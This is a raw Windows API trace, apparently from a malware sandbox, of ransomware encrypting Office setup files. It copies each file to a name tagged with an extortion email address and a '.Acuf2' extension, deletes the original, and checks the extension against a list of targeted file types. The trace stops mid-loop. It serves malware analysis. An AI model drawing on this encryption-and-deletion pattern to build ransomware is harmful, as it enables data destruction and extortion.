	[0046.316] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\setup.xml.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0046.316] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178
	[0046.316] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1f2fec8 | out: lpNewFilePointer=0x0) returned 1
	[0046.316] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1f2fec8 | out: lpNewFilePointer=0x0) returned 1
	[0046.316] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\setup.xml.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8
	[0046.318] GetLastError () returned 0x0
	[0046.318] ReadFile (in: hFile=0x178, lpBuffer=0x2ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x1f2fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ec0020*, lpNumberOfBytesRead=0x1f2fed4*=0x16fc, lpOverlapped=0x0) returned 1
	[0046.643] WriteFile (in: hFile=0x1f8, lpBuffer=0x2ec0020*, nNumberOfBytesToWrite=0x1700, lpNumberOfBytesWritten=0x1f2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ec0020*, lpNumberOfBytesWritten=0x1f2fc9c*=0x1700, lpOverlapped=0x0) returned 1
	[0046.644] ReadFile (in: hFile=0x178, lpBuffer=0x2ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x1f2fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ec0020*, lpNumberOfBytesRead=0x1f2fed4*=0x0, lpOverlapped=0x0) returned 1
	[0046.644] WriteFile (in: hFile=0x1f8, lpBuffer=0x2ec0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x1f2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ec0020*, lpNumberOfBytesWritten=0x1f2fc9c*=0xe6, lpOverlapped=0x0) returned 1
	[0046.644] SetEndOfFile (hFile=0x1f8) returned 1
	[0046.644] CloseHandle (hObject=0x1f8) returned 1
	[0046.645] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1f2fec8 | out: lpNewFilePointer=0x0) returned 1
	[0046.645] SetEndOfFile (hFile=0x178) returned 1
	[0046.645] CloseHandle (hObject=0x178) returned 1
	[0046.646] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0046.646] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\setup.xml")) returned 1
	[0046.646] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML") returned 104
	[0046.646] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML") returned 104
	[0046.646] lstrlenW (lpString=".doc") returned 4
	[0046.646] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1
	[0046.646] lstrlenW (lpString=".docx") returned 5
	[0046.646] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1
	[0046.646] lstrlenW (lpString=".pdf") returned 4
	[0046.646] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1
	[0046.646] lstrlenW (lpString=".xls") returned 4
	[0046.646] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1
	[0046.646] lstrlenW (lpString=".xlsx") returned 5
	[0046.646] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1
	[0046.646] lstrlenW (lpString=".ppt") returned 4
	[0046.646] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1
	[0046.646] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML") returned 104
	[0046.647] lstrlenW (lpString=".zip") returned 4
	[0046.647] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1
	[0046.647] lstrlenW (lpString=".rar") returned 4
	[0046.647] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1
	[0046.647] lstrlenW (lpString=".bz2") returned 4
	[0046.647] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1
	[0046.647] lstrlenW (lpString=".7z") returned 3
	[0046.647] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1
	[0046.647] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML") returned 104
	[0046.647] lstrlenW (lpString=".dbf") returned 4
	[0046.647] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1
	[0046.647] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML") returned 104
	[0046.647] lstrlenW (lpString=".1cd") returned 4
	[0046.647] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1
	[0046.647] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML") returned 104
	[0046.647] lstrlenW (lpString=".jpg") returned 4
	[0046.647] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1
	[0046.647] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML") returned 104
	[0046.647] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML") returned 104
	[0046.647] lstrlenW (lpString=".doc") returned 4
	[0046.647] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1
	[0046.647] lstrlenW (lpString=".docx") returned 5
	[0046.647] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1
	[0046.647] lstrlenW (lpString=".pdf") returned 4
	[0046.647] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1
	[0046.647] lstrlenW (lpString=".xls") returned 4
	[0046.647] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1
	[0046.647] lstrlenW (lpString=".xlsx") returned 5
	[0046.647] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1
	[0046.647] lstrlenW (lpString=".ppt") returned 4
	[0046.647] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1
	[0046.648] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML") returned 104
	[0046.648] lstrlenW (lpString=".zip") returned 4
	[0046.648] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1
	[0046.648] lstrlenW (lpString=".rar") returned 4
	[0046.648] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1
	[0046.648] lstrlenW (lpString=".bz2") returned 4
	[0046.648] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1
	[0046.648] lstrlenW (lpString=".7z") returned 3
	[0046.648] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1
	[0046.648] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML") returned 104
	[0046.648] lstrlenW (lpString=".dbf") returned 4
	[0046.648] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1
	[0046.648] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML") returned 104
	[0046.648] lstrlenW (lpString=".1cd") returned 4
	[0046.648] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1
	[0046.648] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML") returned 104
	[0046.648] lstrlenW (lpString=".jpg") returned 4
	[0046.648] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1
	[0046.648] lstrcmpiW (lpString1=".XML", lpString2=".Acuf2") returned 1
	[0046.648] lstrlenW (lpString="SETUP.XML") returned 9
	[0046.648] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0
	[0046.928] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x1f2ff1c | out: lpFileSize=0x1f2ff1c*=6241) returned 1
	[0046.928] CloseHandle (hObject=0x1a0) returned 1
	[0046.928] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\setup.xml")) returned 0x20
	[0046.928] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\setup.xml.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0046.928] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0
	[0046.928] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1f2fec8 | out: lpNewFilePointer=0x0) returned 1
	[0046.929] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1f2fec8 | out: lpNewFilePointer=0x0) returned 1
	[0046.929] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\setup.xml.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc
	[0046.935] GetLastError () returned 0x0
	[0046.935] ReadFile (in: hFile=0x1a0, lpBuffer=0x2ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x1f2fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ec0020*, lpNumberOfBytesRead=0x1f2fed4*=0x1861, lpOverlapped=0x0) returned 1
	[0046.948] WriteFile (in: hFile=0x1bc, lpBuffer=0x2ec0020*, nNumberOfBytesToWrite=0x1870, lpNumberOfBytesWritten=0x1f2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ec0020*, lpNumberOfBytesWritten=0x1f2fc9c*=0x1870, lpOverlapped=0x0) returned 1
	[0046.949] ReadFile (in: hFile=0x1a0, lpBuffer=0x2ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x1f2fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ec0020*, lpNumberOfBytesRead=0x1f2fed4*=0x0, lpOverlapped=0x0) returned 1
	[0046.949] WriteFile (in: hFile=0x1bc, lpBuffer=0x2ec0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x1f2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ec0020*, lpNumberOfBytesWritten=0x1f2fc9c*=0xe6, lpOverlapped=0x0) returned 1
	[0046.949] SetEndOfFile (hFile=0x1bc) returned 1
	[0046.949] CloseHandle (hObject=0x1bc) returned 1
	[0046.949] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1f2fec8 | out: lpNewFilePointer=0x0) returned 1
	[0046.949] SetEndOfFile (hFile=0x1a0) returned 1
	[0046.950] CloseHandle (hObject=0x1a0) returned 1
	[0046.950] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0046.950] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\setup.xml")) returned 1
	[0046.951] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML") returned 101
	[0046.951] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML") returned 101
	[0046.951] lstrlenW (lpString=".doc") returned 4
	[0046.951] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1
	[0046.951] lstrlenW (lpString=".docx") returned 5
	[0046.951] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1
	[0046.951] lstrlenW (lpString=".pdf") returned 4
	[0046.951] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1
	[0046.951] lstrlenW (lpString=".xls") returned 4
	[0046.951] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1
	[0046.951] lstrlenW (lpString=".xlsx") returned 5
	[0046.951] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1
	[0046.951] lstrlenW (lpString=".ppt") returned 4
	[0046.951] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1
	[0046.951] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML") returned 101
	[0046.951] lstrlenW (lpString=".zip") returned 4
	[0046.951] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1
	[0046.951] lstrlenW (lpString=".rar") returned 4
	[0046.951] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1
	[0046.951] lstrlenW (lpString=".bz2") returned 4
	[0046.951] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1
	[0046.951] lstrlenW (lpString=".7z") returned 3
	[0046.951] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1
	[0046.951] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML") returned 101
	[0046.951] lstrlenW (lpString=".dbf") returned 4
	[0046.951] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1
	[0046.951] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML") returned 101
	[0046.951] lstrlenW (lpString=".1cd") returned 4
	[0046.952] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1
	[0046.952] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML") returned 101
	[0046.952] lstrlenW (lpString=".jpg") returned 4
	[0046.952] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1
	[0046.952] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML") returned 101
	[0046.952] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML") returned 101
	[0046.952] lstrlenW (lpString=".doc") returned 4
	[0046.952] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1
	[0046.952] lstrlenW (lpString=".docx") returned 5
	[0046.952] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1
	[0046.952] lstrlenW (lpString=".pdf") returned 4
	[0046.952] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1
	[0046.952] lstrlenW (lpString=".xls") returned 4
	[0046.952] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1
	[0046.952] lstrlenW (lpString=".xlsx") returned 5
	[0046.952] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1
	[0046.952] lstrlenW (lpString=".ppt") returned 4
	[0046.952] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1
	[0046.952] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML") returned 101
	[0046.952] lstrlenW (lpString=".zip") returned 4
	[0046.952] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1
	[0046.952] lstrlenW (lpString=".rar") returned 4
	[0046.952] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1
	[0046.952] lstrlenW (lpString=".bz2") returned 4
	[0046.952] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1
	[0046.952] lstrlenW (lpString=".7z") returned 3
	[0046.952] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1
	[0046.952] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML") returned 101
	[0046.952] lstrlenW (lpString=".dbf") returned 4
	[0046.952] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1
	[0046.953] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML") returned 101
	[0046.953] lstrlenW (lpString=".1cd") returned 4
	[0046.953] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1
	[0046.953] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML") returned 101
	[0046.953] lstrlenW (lpString=".jpg") returned 4
	[0046.953] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1
	[0046.953] lstrcmpiW (lpString1=".XML", lpString2=".Acuf2") returned 1
	[0046.953] lstrlenW (lpString="SETUP.XML") returned 9
	[0046.953] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4
	[0046.995] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x1f2ff1c | out: lpFileSize=0x1f2ff1c*=2424) returned 1
	[0046.995] CloseHandle (hObject=0x1a4) returned 1
	[0046.996] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\setup.xml")) returned 0x20
	[0046.996] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\setup.xml.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0046.996] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4
	[0046.996] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1f2fec8 | out: lpNewFilePointer=0x0) returned 1
	[0046.996] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1f2fec8 | out: lpNewFilePointer=0x0) returned 1
	[0046.996] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\setup.xml.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0
	[0046.996] GetLastError () returned 0x0
	[0046.996] ReadFile (in: hFile=0x1a4, lpBuffer=0x2ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x1f2fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ec0020*, lpNumberOfBytesRead=0x1f2fed4*=0x978, lpOverlapped=0x0) returned 1
	[0046.998] WriteFile (in: hFile=0x1a0, lpBuffer=0x2ec0020*, nNumberOfBytesToWrite=0x980, lpNumberOfBytesWritten=0x1f2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ec0020*, lpNumberOfBytesWritten=0x1f2fc9c*=0x980, lpOverlapped=0x0) returned 1
	[0046.999] ReadFile (in: hFile=0x1a4, lpBuffer=0x2ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x1f2fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ec0020*, lpNumberOfBytesRead=0x1f2fed4*=0x0, lpOverlapped=0x0) returned 1
	[0046.999] WriteFile (in: hFile=0x1a0, lpBuffer=0x2ec0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x1f2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ec0020*, lpNumberOfBytesWritten=0x1f2fc9c*=0xe6, lpOverlapped=0x0) returned 1
	[0046.999] SetEndOfFile (hFile=0x1a0) returned 1
	[0046.999] CloseHandle (hObject=0x1a0) returned 1
	[0046.999] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1f2fec8 | out: lpNewFilePointer=0x0) returned 1
	[0046.999] SetEndOfFile (hFile=0x1a4) returned 1
	[0047.000] CloseHandle (hObject=0x1a4) returned 1
	[0047.000] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0047.000] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\setup.xml")) returned 1
	[0047.000] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML") returned 100
	[0047.001] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML") returned 100
	[0047.001] lstrlenW (lpString=".doc") returned 4
	[0047.001] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1
	[0047.001] lstrlenW (lpString=".docx") returned 5
	[0047.001] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1
	[0047.001] lstrlenW (lpString=".pdf") returned 4
	[0047.001] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1
	[0047.001] lstrlenW (lpString=".xls") returned 4
	[0047.001] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1
	[0047.001] lstrlenW (lpString=".xlsx") returned 5
	[0047.001] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1
	[0047.001] lstrlenW (lpString=".ppt") returned 4
	[0047.001] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1
	[0047.001] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML") returned 100
	[0047.001] lstrlenW (lpString=".zip") returned 4
	[0047.001] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1
	[0047.001] lstrlenW (lpString=".rar") returned 4
	[0047.001] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1
	[0047.001] lstrlenW (lpString=".bz2") returned 4
	[0047.001] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1
	[0047.001] lstrlenW (lpString=".7z") returned 3
	[0047.001] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1
	[0047.001] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML") returned 100
	[0047.002] lstrlenW (lpString=".dbf") returned 4
	[0047.002] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1
	[0047.002] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML") returned 100
	[0047.002] lstrlenW (lpString=".1cd") returned 4
	[0047.002] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1
	[0047.002] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML") returned 100
	[0047.002] lstrlenW (lpString=".jpg") returned 4
	[0047.002] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1
	[0047.002] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML") returned 100
	[0047.002] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML") returned 100
	[0047.002] lstrlenW (lpString=".doc") returned 4
	[0047.002] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1
	[0047.002] lstrlenW (lpString=".docx") returned 5
	[0047.002] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1
	[0047.002] lstrlenW (lpString=".pdf") returned 4
	[0047.002] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1
	[0047.002] lstrlenW (lpString=".xls") returned 4
	[0047.002] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1
	[0047.002] lstrlenW (lpString=".xlsx") returned 5
	[0047.002] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1
	[0047.002] lstrlenW (lpString=".ppt") returned 4
	[0047.002] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1
	[0047.002] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML") returned 100
	[0047.002] lstrlenW (lpString=".zip") returned 4
	[0047.002] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1
	[0047.002] lstrlenW (lpString=".rar") returned 4
	[0047.002] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1
	[0047.002] lstrlenW (lpString=".bz2") returned 4
	[0047.002] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1
	[0047.002] lstrlenW (lpString=".7z") returned 3
	[0047.003] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1
